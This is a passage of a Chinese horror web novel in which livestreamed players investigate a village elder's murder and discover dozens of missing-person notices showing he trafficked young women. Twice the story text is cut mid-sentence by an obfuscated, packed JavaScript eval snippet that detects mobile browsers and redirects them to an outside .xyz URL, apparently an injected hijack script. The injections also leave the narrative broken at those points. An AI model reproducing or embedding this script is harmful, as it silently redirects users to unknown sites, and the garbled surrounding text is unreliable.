【功能：止血、镇痛、消炎、愈创】 【备注：有效期24小时，请注意及时更换】 〖使用〗 若放在现实生活中，这种伤口必须先消毒再用绷带包扎，但这是副本，这创可贴像是观众特意打赏给她，让她处理手指上的伤口的...... 柯清意敛眸想了想，点了〖使用〗，随后撕开凭空出现在她手里的创可贴，在昏黑中简单地贴在了伤口上。 直播间却是几种风评： 【......小柯主播不用碘伏消哈毒吗？】 【就这么个小伤口也要用掉价值2金币的创可贴？？主播到底知道不知道金币的重要性啊！】 【这创可贴我用过，效果很不错，自带消毒杀菌功能，愈合性强，建议大家可以把它当做基础的打赏礼物，不要只会打赏匕首了。】 【无语，创可贴实用性不如匕首不广啊，副本里哪有那么多小伤口给你用，大多数情况都是直接被鬼怪对半砍死，送创可贴把尸体粘起来吗？】 ...... 柯清意闭上眼睛躺了一会，发现房门外人皮拖擦水泥地板的声音停下了，硬胶靴底踩在水泥地板上的脚步声也停下了，紧接着响起的是一阵皮肤与血肉被撕裂开来的声音，以及血肉骨碎砸落在地板上的沉闷声响。 ......看来，李刚游在被他杀死的心动队友手里，又经历了一遍剥皮和爆体的痛苦。 “咯咯......咯咯......” 女人诡异又空灵的笑声突然响起，脚步声和人皮的拖擦声又接着响了起来。 几分钟后，皮肤的撕裂声再次传来，血肉骨碎再一次掉在了地板上...... 门外的女人就这样不停地捡血肉骨碎，不停地撕裂皮肤，不停地发出诡异笑声，几分钟就循环一次。 直到天边乏起微白的晨光，女人才拖着人皮离开。 柯清意看了看手机时间，已经快接近七点了，坐起身来，发现旁边的秦晓樾和余小豆也几乎是一夜没睡，脸上满是困倦的神色，眼眶下边一圈乌黑。 三人不约而同下床朝门口走去，余小豆率先打开了房门，扫了一眼走廊上满地的血痕，淡定地说：“啧，还好，她把那些碎肉也带走了。” 对面的两间房门也被拉开来，露出三张憔悴困顿的脸庞，显然也是听了一夜的复仇循环曲。 看着独自站在门边的女白领，柯清意蹙了蹙眉，还没来得说什么，就看见她焦急地往旁边的厕所快步走去，嘴里还在喊着一个名字：“余霜——余霜——” 昨晚跟女白领住一个房间的是碎花裙女生，想来她口中喊的“余霜”应该就是碎花裙女生的名字。 但余霜怎么会在厕所里？ 柯清意心中生出不好的直觉，跟着女白领走进了厕所，却只看见一个乌黑蹲便器和一个红砖水泥砌成的洗漱台，没有余霜的人影。 “怎么回事？”柯清意冷声问。 女白领摇了摇头，紧皱眉头：“半夜走廊上还没出事的时候，我迷迷糊糊中听见余霜起床开门的声音，我以为她是想去上厕所就没有多管，过了一会她还没回来，走廊上就出事了，我以为余霜是害怕不敢回房间，就在厕所里躲了一夜。” 柯清意没说话，径自越过女白领走到蹲便器旁，仔细看了看上面的污渍，十分干燥：“蹲便器没有使用过的痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柯清意仔细回忆了一下半夜听到的声音，在李刚游血肉骨碎爬行的声音响起之前，她没听到任何开关门和下楼的声音，如果听到，她应该会被吵醒。 难道是她之前睡太熟了？ 还是他们的动作声音太轻了，以至于被她忽略过去了？ “他们会不会没出去。”老方依旧替余霜和光头男抱了一丝好的幻想，“只是在一楼堂屋里待了一晚上。” 余小豆呵呵两声：“大叔，你可真乐观。” “下去一楼看看吧。”倚在楼梯转角旁的风衣男直起身子，手插衣兜里率先走下了楼梯。 众人沉默着下楼来到堂屋，长桌旁空空荡荡的，没有余霜和光头男的身影，也没有乌老头的身影。 “你们看！”女白领突然抬手指着某个方向惊呼道，“房间里有人！” 众人循着她指的方向看去，发现是乌老头昨夜走进去的房间，此时，房间门正虚掩着，从门缝间露出一个光秃秃的头顶来。 是光头男！ 众人连忙走过去，推开虚掩着的房门，却看到了毛骨悚然的一幕。 11. 山村爱情（十一） 光头男和余霜倒在房间门口边上。 两人身上不见伤处，完好如初，但脸色已经青白，透着沉沉的死气。 中间大床正对上去的天花板上却吊着一具人头骨架，血红黏腻的肠子像一根挂腊肉的绳子，双折起来一头穿过骨架肋骨，一头挂在天花板上的弯钩上，将一整具人头骨架高高吊起。 最恐怖的是，骨架脖子以下是白森森的骨头，上面还带着一些新鲜的血肉。 脖子以上却是一颗完整的头，五官齐全，面容惨白枯皱，头发稀疏花白，混浊的眼珠目眦欲裂地盯着房门口。 有两三个人因为这样恐怖的一幕而惊到发出一声尖叫，马大爷直接捂着嘴巴跑进了旁边的厕所，撕心裂肺地呕吐起来。 剩下的人脸色也十分难看。 柯清意虽然皱着眉，却还是细心地将房间打量了一圈，目光正打量到天花板上五个突兀的弯钩时，眼前蓦然一闪，半透明面板跳了出来： 【恭喜主播柯清意触发暗线任务：探查乌老头的过往——进度0%】 所有人的眼神都飘忽呆愣了一下，显然都触发了暗线。 直播间大多数观众显然也没预想到事情是这个走向： 【哈？乌老头这就死了？他不是关键npc吗？他怎么死的？别说是被地上躺着那两个主播杀的。】 【刚从地上那光头男直播间转来，只能说你猜的一半一半吧。】 【作为第二次看这个副本直播的我，对乌老头过往和杀乌老头的……都心知肚明！可惜直播间评论剧透会被罚金币……】 【话说，小柯主播毒舌辣嘴的人设是完成不了了吧，十六个人死了四个，有三个没被小柯主播辣嘴毒舌过。】 【小柯主播算是新人主播中表现还可以的了，可惜运气太差，偏偏被安排一个跟所有主播都有关联的人设。】 【对，其他主播的人设几乎都很简单，跟谁谁谁相处几个小时就行，这个副本必死人设排第一的就是恶毒女配和恶毒男配，话说，谁是恶毒男配人设啊？】 ...... 老方扫了吊着的乌老头一眼，匆匆移开视线，落到门边躺着的两具尸体上，脸上紧绷着恶心又不忍的神色，不解道：“他们两个半夜约着出房间，难道是为了来杀乌老头？” “大叔你脑子没长褶皱啊？”余小豆听着这离谱的猜测，忍不住翻了个白眼。 “他们两个是新人主播，疯了才会半夜约着来杀NPC吧，而且他们两个的衣服上、手指缝间也没有血，怎么杀的乌老头，穿防护服杀的吗？” 其实不止余霜和光头男身上没有血，房间里的水泥地板和墙壁上也没有多少血，只有乌老头骨架下方的被子上有一圈深红色的血迹。 余小豆继续说：“乌老头这种死状，一看就是鬼怪杀的。” 众人沉默着表示认同。 剔肉留骨，肠子吊尸，确实是副本鬼怪的风格。 “可是……”老方眉宇间尽是不解，“鬼怪为什么不杀主播，要杀npc？” 女白领迟疑着说出自己的猜测：“会不会是跟乌老头的过往有关，比如他们过去有仇恨、瓜葛什么的……” 老方觉得女白领的话有些道理，但心中还是疑惑余霜和光头男，皱紧眉头问：“可是他们两个是新人主播，应该不会跟乌老头和鬼怪有什么仇恨纠葛，为什么他们也会死在这？” “这……”女白领摇了摇头，表示自己也不知道。 倒是壮汉冷哼了一声，一脸笃定地说：“说明他们两个根本就不是新人主播，而是伪装成主播混进来的鬼怪，昨天晚上我就怀疑他们了。” “你脑子也没褶啊？”怼天怼地余小豆梅开二度，“他们两个要是鬼怪，能变成尸体躺在这？” 壮汉神色虽然不爽，但脑子难得灵光了一回：“他们不是伪装成主播混进来的鬼怪，那就是被鬼怪附身的已经死了的主播，所以他们才会半夜约好下楼来找乌老头。” 壮汉摸着下巴，继续猜测：“然后刚进屋子，鬼怪就离开了他们的身体，去杀乌老头，所以他们两个才会变成尸体躺在房门边上。” 不得不说，壮汉这一番猜测还挺有道理的。 大多数人再次沉默着表示认同。 “昨晚在堂屋集合的时候——” 柯清意突然冷声开口道：“他们还是活人，没被鬼怪附身。” 顿了顿，她又补充了一句：“其余人也不是鬼怪。” 沉默着的众人闻言一愣，一时间不知道她这两句话的依据在哪，还是她以为鬼怪附身靠肉眼就能看出来？ “我眼睛里戴了B级鬼怪现形镜头膜。”柯清意适时地开口解释道。 鬼怪现形镜头膜？戴眼睛里？ 众人有的惊愣，有的不解，全都一股脑地盯着柯清意的两只眼睛看。 柯清意垂下眼皮，似是想到了什么，语气平淡地说：“镜头膜昨晚走廊里出事的时候就失效了，我现在也看不到鬼怪了。” “这么快？！”老方有些惊讶，看上去还有几分失望。 直播间亦是如此： 【一秒拔草，还以为都是B等级，镜头膜有效时间能长一点呢。】 【笑了，就这时长还不如用在相机镜头上呢，啥鬼怪也没看到就失效了，还被婴儿小鬼利用镜头膜设置了考验，真偷鸡不成蚀把米啊。】 【榜一应该后悔死了吧，100金币的礼物就这么没了。】 风衣男懒散地靠在墙边，盯着柯清意怀疑道：“我还是第一次听说有人把镜头膜戴在眼睛里，真的有效果吗？” “如果你戴上镜头膜后，连鬼怪都没看见过，你又怎么能确定昨晚集合的时候，他们还活着，没被鬼怪附身？” “我看见过鬼怪。”柯清意眼神冷漠地回盯着他，“昨晚二楼走廊里的那个女人，她手指变长从门缝里延伸进来的时候，手指上没有血肉，只有骨头。” 说到这，柯清意看向站在一旁双手抱胸的余小豆：“你当时跟我站在一起，应该也看到那个女人的手指了吧。” “看到了。”余小豆淡淡说，“但我眼里的手指有血肉。” 闻言，风衣男若有所思地勾起嘴角，点头道：“行，暂且相信你。” 壮汉不关心镜头膜的事，把话题又绕回余霜和光头男身上：“所以昨晚集合的时候，他们两个还没被附身，那他们是半夜睡着被附身的？” 站在旁边一直沉默着的卫衣男皱了皱眉，提出疑问：“鬼怪为什么不直接去杀乌老头，而是要先附身他们两个，再去杀？” “说不定是乌老头的房间对鬼怪有什么限制。”余小豆瞥了他一眼，不确定地说：“只有人才能进去......” 限制？ 壮汉和卫衣男第一时间想到了房间的木门，他俩同时走到木门边仔细观察起来。 木门跟楼上房间门一样，土黄斑驳，上面贴着一张褪色卷边的福贴，没什么特别的。 柯清意似是想到了什么，转身走向堂屋喷着油漆的暗红色大门。 走近后，她微微倾身凑近大门细闻了一下，油漆味中确实混杂着几丝血腥味，味道很旧，有股跟空气长时间接触从而产生的铁锈味。 “怎么了？”众人跟着柯清意走了过来，学着她闻了一下，却什么都没闻到，只得问她，“你闻到什么了？” 柯清意直起身子：“血腥味。” “所以……限制鬼怪进来的，其实是这扇门。”老方恍然，而后又不解地问道，“那鬼怪是怎么说服光头男人和他队友半夜偷偷打开这扇门出去的？” 余小豆耸了耸肩：“还能是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797623|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？无非就是能让他们活着离开副本的哄骗话术呗。” 女白领问：“杀乌老头的鬼怪是昨晚那一家三口、充当爱情侦探的鬼怪吗？” “大概是，C+级副本里不会出现过多鬼怪。” 余小豆说完，垂眼看向躺在地板上已经死去多时的余霜和光头男，面无表情地说：“可能昨晚他们两个根本就不是通过鬼怪的考验，而是跟鬼怪做了交易。” 壮汉对这话第一个表示了认同：“我就说他们两个新人主播怎么可能自己通过爱情侦探的考验。” 余小豆没管壮汉，而是勾起一抹唇角意味不明地说：“这三只鬼怪还挺聪明的。” 众人沉默下来。 可不是聪明吗？ 这三只鬼怪知道柯清意戴了鬼怪现形镜头膜，特意哄骗余霜他们半夜再出门，然后附身他们进来杀乌老头。 看来，乌老头的过往应该就是跟这些鬼怪有关。 同时，众人也想到了几个问题——这三只鬼怪进来了几只？ 鬼怪杀了乌老头后，是离开了？ 还是藏在了这间村房里，等着再附身他们中的某两人？ 还是......已经附身在他们之中了？ 想到最后一个可能，众人在心底倒吸了一口凉气，看其他人的眼神也带上了几分防备和怀疑。 良久的沉默后，老方迟疑着说：“现在小柯眼里的镜头膜也失效了，要是......鬼怪附身在我们十二个人里面，怎么办？” “尽量四个人、或者六个人一起行动吧。”风衣男说，“既然大家的支线任务都是‘探查乌老头的过往’，不如十二个人分成两组，六个人留在乌老头家搜查，六个人出去跟村民打探消息。” 余小豆双手抱胸，冷冷道：“乌山村那么大，至少有一百多户人家，光凭六个人挨家挨户地打探消息，得打探到什么时候？” 风衣男脸上没什么表情：“那就十二个人一起行动，先留在乌老头家搜查，再分成三组出去跟村民打探消息。” 众人点头：“可以。” “那就开始搜查吧。” 风衣男似乎成了团队领头，开始安排起来：“一楼大家一起搜查，碍于乌老头昨晚说的‘不准上下楼串门’的住宿规则，以防万一，二三楼男女分开搜查。” 一楼只有三个房间，分布在堂屋的两侧，一边是乌老头的房间和厕所，另一边应该是间厨房，因为隐约有股怪异闷馊的味道从木门后散发出来。 众人一致认为三间房中，最有搜查价值的就是乌老头的房间。 所以都不约而同地从暗红色大门边又转回乌老头房间里。 房间不算小，但柜子椅子等杂物很多，很难同时挤下十二个人。 老方和壮汉只能将余霜和光头男的尸体先抬到堂屋中，其余人才开始进去翻箱倒柜地查找起来。 柯清意走到中间大床边，抬头继续打量起天花板上的五个弯钩来。 四个正对着床脚，一个位于正中间，都是跟手指头差不多粗的钢筋，一头固定在天花板里面，一头弯成了挂钩的形状。 风衣男也没有去翻箱倒柜，而是走到了柯清意身旁，跟她一起抬着头打量弯钩，纳闷道：“如果是用来挂蚊帐的，未免有点太粗了吧。” “应该不是挂蚊帐的。”余小豆翻出衣柜里的最后一件衣服，嫌弃地抖了两下，才接着说：“因为我没看见过蚊帐之类的东西。” 风衣男问：“那这五个弯钩是用来挂什么的？” 柯清意默了默，说：“挂人。” “挂什么？”风衣男以为自己听错了。 “挂人。” 柯清意重复了一遍后，用下巴指了指挂在中间弯钩上的乌老头，说：“鬼怪已经给我们提示了，这些弯钩是用来挂人的。” 12. 山村爱情（十二） 翻找着的众人闻言一愣，停下了手上的动作，全都扭头看向被挂在中间弯钩上的乌老头。 但人头和骨架的画面实在太过血腥残忍，他们匆匆看了一眼就转看向柯清意。 “挂什么人？”老方第一个发出了疑问，“挂那三只鬼怪吗？” 他有点难以想象一个老头挂人一家三口的画面……还是挂在自己床上…… 余小豆也难以想象，脸色奇怪地问：“他把人挂自己床上干嘛？” 老方：“......” 他神色迟疑，思考片刻后正欲吐出“折磨”两个字，然而站在半人高储物柜旁翻找的卫衣男先开口了：“你们不觉得......这五个弯钩如果挂上绳子，正好能把一个人平着吊起来吗？就像......” 说到这他顿了顿，语气有几分不易察觉的尴尬；“那种酒店里的......” 卫衣男这话虽然说得遮遮掩掩，但在场该明白的人还是明白了他的意思，脸上都有些尴尬。 没想到乌老头看着一副朴实严肃的模样，私底下却这么变态。 柯清意之前送过一部分情侣主题酒店房间的外卖，也看见过房间里的奇葩布置，现在经卫衣男一说，她也明白了这些弯钩的具体用途。 拧了拧眉，柯清意挪开目光，问众人：“你们有发现什么吗？” “没有。”卫衣男捂嘴轻咳一声，尴尬地说，“柜子里装的就是些日常杂物。” 站在衣柜旁的余小豆摊开双手：“衣柜里也只有些衣服裤子，没什么特别的。” 女白领站起身来，摇摇头：“床底下什么也没有。” “床上也没发现什么。” 老方用匕首把床垫被褥拆开来回抖了个遍，上面除了顺着乌老头骨架滴落下来的血肉，什么也没有，连床板夹层里也是空荡荡的。 其余人也是失望地摇了摇头。 乌老头的房间里，突兀的似乎只有天花板上的五个弯钩。 “去另外两个房间看看。”壮汉烦躁地抓了把头发，率先走出房间，进了旁边的厕所。 厕所简陋肮脏，跟昨晚柯清意进来清洗时见到的没什么两样，壮汉不知道从哪弄来一根手臂长的木棍，对着垃圾桶里的厕纸翻找起来。 其余人站在门口看了一圈就转去了对面的厨房，只留了女白领、余小豆和马大爷守在厕所门口，以防壮汉落单被鬼怪附身。 厨房里只有一些没吃完的剩饭剩菜，大咧咧地摆在饭桌上散发着闷馊味，还有一些焉巴巴的蔬菜堆在框里，同样没有关于乌老头过往的线索。 柯清意和其他几人从厨房里退出来时，正巧壮汉也翻完了垃圾桶，阴着脸从厕所里走出来，看了他们一眼就一言不发地朝楼上走去。 看样子是白翻了两分钟的厕纸。 众人很有眼色地没出言打击他，沉默着跟在他身后上了二楼。 二楼地板和墙上依旧保留着血肉横飞的惨状，花被子和透明雨衣凌乱地堆在走廊中间。 因为有乌老头“不准上下楼串门”的住宿规则，众人谨慎地选择了二三楼男女分开搜查，然后在一楼汇总搜查结果。 每层楼只有六个人，如果再分组搜查，很有可能给鬼怪附身的机会。 所以柯清意和其余五位女生没有分组搜查房间，而是一起扎堆进了最靠近楼梯的1号房间，也就是女白领和余霜昨晚住的房间。 房间布局跟柯清意住的3号房几乎一模一样。 同样的三张单人床，三床陈旧艳俗的大红花被子，一块红色的窗帘，甚至红色窗帘背后的窗户也没有玻璃，都是用几张泛黄的旧报纸糊在锈黑栏杆上。 不同的是，报纸外面不再是透不过气的黑雾，而是一片朦胧的晨光。 柯清意注意到，有两张旧报纸上各有一处卡片般大小的缺口，边缘整齐平滑，像是有人特意将报纸上这两个位置的内容剪了下来。 缺失的报纸内容会是线索吗？ 柯清意若有所思地放下红色窗帘，刚转身就听见余小豆的声音忽然响起：“你们过来看，床板上有东西。” 余小豆站在最靠近木门的一张床边，单人床上的花被子和棉絮垫子被她掀开大半，露出的床板上有一张泛黄纸张，长方形状，卡片大小，看着就像是报纸上缺失的那块。 柯清意走过去，发现那块泛黄纸张上写着一则寻人启事—— 虞佑萍，女，23岁，南湖省长石市人。今年6月13日下午3至4时在长石市火车站走失，走失时着蓝色长袖衬衣，黑色牛仔长裤，深蓝色布鞋，齐耳短发。本人见此启示或知其下落者，请打BP机联系：9900——978018，有重谢。 左上角有一张不太清晰的黑白照片。 女孩头发短到耳朵上边，脸庞稍圆，洋溢着青春甜美的笑容，却被印在一则寻人启事上，压在了乌老头家的棉絮垫子下，不见天日。 寻人启事上没有写具体时间，但根据BP机和照片的模糊程度来看，这女孩的失踪至少是二十多年前的事了。 在场的几位女生看着这则寻人启事，一时间都有些沉默。 既有对这女孩遭遇的同情，也有思考这则寻人启事被压在床下的原因。 柯清意想到窗户报纸上有两处缺口，冷着张脸掀开中间那张单人床的花被子和棉絮垫子，床板上同样有一张从报纸上剪下来的寻人启事—— 张丽康，广南大学外语系一年级学生，女，19周岁，于十一月十五日早8至9时在广南大学南门小吃街失踪。失踪时身着黄色圆领长袖毛衣，黑色西装裤，脚穿黑色平底皮鞋，身高1.63米，稍瘦，黑色长发。知情者请与广南大学保卫处联系，电话：398678。 左上角黑白照片上的女生留着厚厚的齐刘海，脸庞青涩稚嫩。 同时，女白领也掀开了靠窗单人床的床被垫子，从床板上捡起两张泛黄报纸，扫了一眼后面色沉重地递给柯清意：“也是寻人启事。” 柯清意拧着眉接过，发现又是两则年轻女孩的寻人启事—— 第一则：李花，女，28岁，横县水塘镇人，于三月一日晚10时后在水塘镇失踪...... 第二则：方雁和，女，24岁，贵市湖釀县人，于六月二十八日下午5至6时在如家旅馆失踪...... 这四位失踪女孩姓名不同，出生地不同，失踪时间和地点也不同，年龄却都在十八岁到三十岁之间，这不禁让众人脑海中同时闪过两个字——拐卖。 而且她们的寻人启事还被人刻意从报纸上剪下来，压在这三张床被垫子下面，像是在做什么分类标签一样，用寻人启事来“标注”这些床上曾囚禁过谁。 这四位女孩......很有可能就是被拐卖到乌山村里了。 也许，不止四位。 柯清意沉着脸走到窗户前，把糊在锈黑栏杆上的报纸整片撕了下来，转身朝门外走去，边对沉默着的五人说：“去其他房间看看。” 五人纷纷点头，均面色凝重地跟上了她。 结果翻完另外两个房间的床被垫子，几人的脸色直接冷成了一块寒冰。 2号房和3号房，六张单人床，每张床的床被垫子下都压着寻人启事，少的一则，多的五六则。 三间房加起来的寻人启事多达二十九则，全是十几、二十几岁的年轻女孩，照片上的她们有的青涩稚嫩，有的青春活泼，有的憔悴消瘦...... 却都在花样年华深陷被拐卖的悲惨命运。 女白领看着手里的寻人启事，闷声问：“她们全都是被拐卖到这个村子来的吗？” “应该是。”余小豆表情也不好看，冷冷扫了3号房间一圈，“这些房间就是乌老头用来囚禁她们的。” 女白领低低讷讷道：“那她们现在是被解救了？还是......” 余小豆摇摇头没有说话。 柯清意却忽然注意到了什么，在余小豆昨晚躺过的那张单人床边蹲下，手指摸上床头排骨架上的一根方形木架，上面有一圈明显的磨痕，原本棱角分明的四条愣边，被什么东西给磨平了。 她站起 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看来三楼跟二楼的房间布局差不多，都是批量打造出来的囚牢。 老方开门见山地问：“小柯，你们找到了几则寻人启事？” 柯清意言简意赅：“二十九则。” 兴许是被这数字吓到，老方倒吸了一口凉气，正欲开口说话，却先听身旁的壮汉低声骂了一句脏话。 他脸上的表情说不出的难看：“我们在三楼找到了二十四则寻人启事，全是二三十岁的女的。” “二十四则？！”女白领大惊失色，“加上二楼的......那岂不是有五十三则寻人启事？！这个村子曾经拐卖囚禁过这么多女孩？！” 汉服女阴着张脸说：“寻人启事五十三则，不代表被拐卖囚禁到乌山村的女孩人数就是五十三个，只会更多。” 毕竟有一些女孩失踪后，可能会因为某些原因没能在报纸上刊登寻人启事，就算刊登了，也不一定能全落到乌老头手上。 “所以那个死老头的过往就是拐卖妇女吗？”壮汉踹了一脚楼梯，已经把乌老头的称呼改成死老头了，“那面板上的暗线任务进度怎么还是0%？” 老方眼中也划过一丝不解：“这些女孩被拐卖囚禁在乌老头家，说明他的过往肯定跟拐卖女孩有关，但暗线任务进度为什么一动不动呢？” “......”壮汉无语，这话跟他问那句话有什么不同？ “去一楼说。”风衣男率先走下了楼梯，其余几人面色或凝重、或疑惑、或平静地跟着他下了楼。 到了一楼堂屋，风衣男将左手拿着的报纸放在长桌上，冲柯清意她们伸出手掌，说：“把寻人启事都给我，我试试看能不能解锁暗线任务的进度。” 柯清意几人觉得他说的有道理，把手里的寻人启事都放在了风衣男手上。 风衣男拿着五十三则寻人启事沉吟片刻后，递给了旁边的人：“可以解锁，你们试试。” 壮汉狐疑地率先接过他手里的寻人启事，下一秒，眼睛却盯着前面的空气呆愣住了，妥妥地刷新了面板。 几秒后，壮汉把手里的五十三则寻人启事顺位递给了下一个人。 最后才传到了柯清意手上，她刚一接过，半透明面板凭空浮现在她面前： 【暗线任务：探查乌老头的过往——进度50%】 下面是一段乌老头过往的介绍： 【二十五年前，乌老头是乌山村里最穷的人，加上先天性脊柱畸形，年过三十都没娶到媳妇。眼看村里没有姑娘愿意嫁给自己，乌老头只能卖了家里所有能卖的东西，花八千块从外面买回来了一个媳妇，但没过两个月，他买来的媳妇就出事死了。】 【乌老头想再从外面买一个媳妇，但他的家底已经空了，连一分钱都掏不出来的乌老头便生了个大胆的想法——自己做人贩子。】 【二十五年间，乌老头陆陆续续一共拐了六十四位女孩进村，并以高价转卖给了同村的其他人做媳妇。】 13. 山村爱情（十三） 众人看完面板上乌老头的过往后，一时谁都没有说话，空气中弥漫着压抑的死寂。 没想到乌老头的过往竟然这么罪恶，被他拐卖进乌山村的女孩人数竟高达六十四位。 “这死老头死得还是太便宜他了！”余小豆盯着乌老头房间关上的门，恶狠狠地说，“就应该六十四个女孩一人虐杀他一遍才对。” 汉服女重重点头：“对！死得太便宜他了。” “乌老头已经死了。”老方叹息道，“说这些也没什么用了，我们还是想想暗线任务另外50%的进度怎么完成吧，大家有什么想法？” 风衣男若有所思：“我认为还是跟这些被拐卖的女孩有关。” “你这不是废话吗？！” 壮汉斜着眼打断他，冷哼一声：“面板上关于乌老头过往的介绍停在‘以高价转卖给了同村其他人’，肯定是要顺着这句话查他把这些女孩转卖给了同村哪些人。” 风衣男盯着他冷冷道：“提不出解决的办法就不要随便打断别人说话。” “你！”壮汉剜了他一眼，愤怒地说，“行，那你说怎么查？” 风衣男懒得理他，看向众人说：“寻人启事上的照片大部分都不是很清晰，再加上她们被拐卖的时间一长，样貌可能会发生不小的变化，所以目前我们只能靠她们失踪的年份来查。” “失踪年份？”老方皱眉。 “对。”风衣男点头，拿起刚才被他放在长桌上的报纸，“寻人启事都是从这些报纸上裁剪下来的，只要一一还原上去，就能知道她们的失踪年份，从而推测出她们的年龄和......被卖给村民的大概时间。” 说完，他的目光轻轻落在柯清意手里拿着的报纸上，嘴角勾起一抹戏谑：“看来有人和我的想法一样。” 柯清意垂下眼眸，没有说话。 她把报纸从窗户上撕下来，确实是想通过报纸年份推测出这些女孩失踪的年份。 汉服女看着两人手里粘得紧紧的报纸，怀疑地问：“这些报纸分得开吗？” “尽力吧。”风衣男淡淡道，“能分开多少算多少。” “行。” 众人说动就动，几人去厨房里拿盆接了点水，几人去乌老头房间里找了几块干净的棉布，才坐在长桌旁分离用浆糊粘住的报纸。 历经风吹日晒，报纸上浆糊的粘性早就不复从前，但报纸一张粘着一张，众人还是花了两个小时才把报纸尽量都分离开来，有裁剪缺口的报纸一共四十六张。 这四十六张报纸有些还算完整，有些报纸只分离下来了缺口边缘的一圈，有些字迹已经不清晰，只能勉强看清几个模糊的时间。 接下来就是按照裁剪缺口把寻人启事和报纸一一对应起来。 “已经快到午饭时间了。”老方忽然出声。 众人把疑惑的目光投向他，只见他脸上神情有些不自然，轻咳一声：“我之前在厨房框里看见一些蔬菜和面条，我去厨房给大家煮点面条对付一下午饭吧。” 众人：“......” 老方的话虽然说得突兀，但又莫名的很合时宜。 他们是人，在副本里也是需要吃饭的，比起面板购物车里花金币才能吃到的面包零食，他们还是更偏向于自己动手做饭。 “一个人去太危险了。”说话的是汉服女，她站起身来，“我和你一起去厨房准备午饭。” “我也去吧。”秦晓樾和马大爷同时站起身来，跟老方和汉服女一起进了厨房。 其余八人心思各异地收回目光，继续进行寻人启事和报纸的配对工作，不算很费时间，十几分钟后，有裁剪缺口的四十六张报纸连猜带比地找到了各自缺失的寻人启事，剩下七张寻人启事找不到出处。 众人用黑色笔在每张寻人启事上写上了报纸的年份时间，时间跨度从一九九九年至二零二一年，她们被拐卖时年龄大都在十几、二十几岁，还有一个女孩才十五岁，还在上初中。 女白领紧紧抿了抿唇，低声讷讷道：“也不知道还有几个女孩活着？” “被拐卖来这种地方，她们活着也不算活着了。”余小豆开口，语气中带着一股莫名复杂的戾气。 乌老头房间里的弯钩，楼上囚禁人的房间，床头排骨架上的绑痕，种种迹象表明，乌山村就是一个折磨人的地狱，早就把她们的精神折磨死了。 只有精神死了的人，才能在地狱里活下来。 【每次看这个副本都很难受，但每次都看，就是希望有个主播能解救那些被拐女孩。】 【萧神上次其实也算解救了这些女孩，但副本的进度还是只有83%，我也纳闷这个副本的全进度结局是什么......】 【哎哎哎，他们浪费时间分离报纸干嘛，完全偏离暗线任务了，另外50%的进度根本就不是——查——那些被拐卖女孩啊！！】 【不是，这个副本不是恋爱综艺吗？？怎么牵扯出拐卖妇女了啊？？他们还记得自己的明线任务吗？！】 【哈哈哈哈哈，谁能想到老方做饭竟然是他明线任务的一部分，这人设绝了！】 【小柯主播的明线任务遥遥无期啊......其实挺不希望她死的。】 ...... 众人沉默着收起长桌上凌乱的报纸和寻人启事，正巧老方他们从厨房里走出来：“面条好了。” 老方和马大爷手里一人端着一个圆形铁菜盘，上面摆放着十多碗清汤面条，冒着热腾腾的热气，秦晓樾和汉服女跟在他们后面，手里拿着一把筷子和调料盒。 “一人一碗，不够吃锅里还有。”老方把铁菜盘放在长桌上，众人分别端了一碗面条坐在长桌旁吃起来。 面条实在很清淡，但众人都不敢乱加乌老头那些乌漆嘛黑、不知道是什么的调料，就着上面漂浮的几根白菜叶子吃完了面条。 一顿清淡没味的饱饭很快完毕，除风衣男外，其余十一人都用手机将五十三张寻人启事拍照存在手机里，才一同出了乌老头的家。 风衣男似乎完全成了团队领头人，看向众人开口：“我建议我们分成三组，四个人一组。一组从村头开始查，一组从村尾开始查，一组从村尾数四十间村房到村中间，从第四十一间村房开始查起。” “怎么分组？”壮汉问。 风衣男淡淡说：“自愿，尽量老人带新人。” 十二个人中，新人只剩下柯清意、秦晓樾和肖平巍三人。 众人没有什么异议，各自分了组。 柯清意、老方和余小豆、马大爷一组，选择从第四十一间村房查起；走秀三人组和卫衣男从村尾查起；壮汉、女白领和肖平巍、秦晓樾一组，从村头查起。 乌山村三面环山，坐落在山沟狭缝间，走势狭长曲折，弯成了一个开口向左的U字。 柯清意他们四人数着数走，很快就走到了第四十一间村房的暗红色木门外边。 他们都注意到，走过的四十间村房和眼前入目可见的村房大门，全都是暗红色的，就跟乌老头家的暗红色木门一样，似乎暗红色油漆下也涂着一层陈旧的血，也是为了防止那三只鬼怪进门。 看来乌山村里每家每户都藏着一个共同的秘密。 同壮汉四人简单道别后，柯清意四人就敲开了第四十一间村房的暗红色木门。 开门的是个拄着拐杖、步履蹒跚的老人，他态度防备又冷漠，只有在看向柯清意和余小豆时，目光中才带上了莫名复杂的审视和打量。 老方走上前挡在她们两个前面，温和地笑着问老人：“大爷，就您一个人在家吗？您儿子呢？” “他下地干活了。”老人说。 老方顺势打探道：“您儿媳妇也跟着下地了吗？” 却没想到，老人面色突然变得阴冷，两个眼球极力地向外突出来，混浊涣散的眼珠扫过他们四人，拄着拐杖慢慢逼近他们，阴沉沉地问：“你们问我儿媳妇做什么？你们犯了村里的忌讳！你们犯了忌讳！” 老方也不知道自己犯了什么忌讳，被变脸的老人逼得向后退了两步。 柯清意从老方背后露出脸来，面无表情地盯着老人问：“大爷，您孙子多大了？” 老人像是被柯清意的问话唤醒了一样，停下了逼近他们的脚步，缓慢地眨了眨干巴苍老的眼睛：“孙子啊，三十好几了。” 柯清意斟酌片刻后，继续问：“您孙子结婚了吗？” “结了。”老人回她。 柯清意想了想，试探地问：“他们什么时候结的婚？” 老人摇摇头：“不 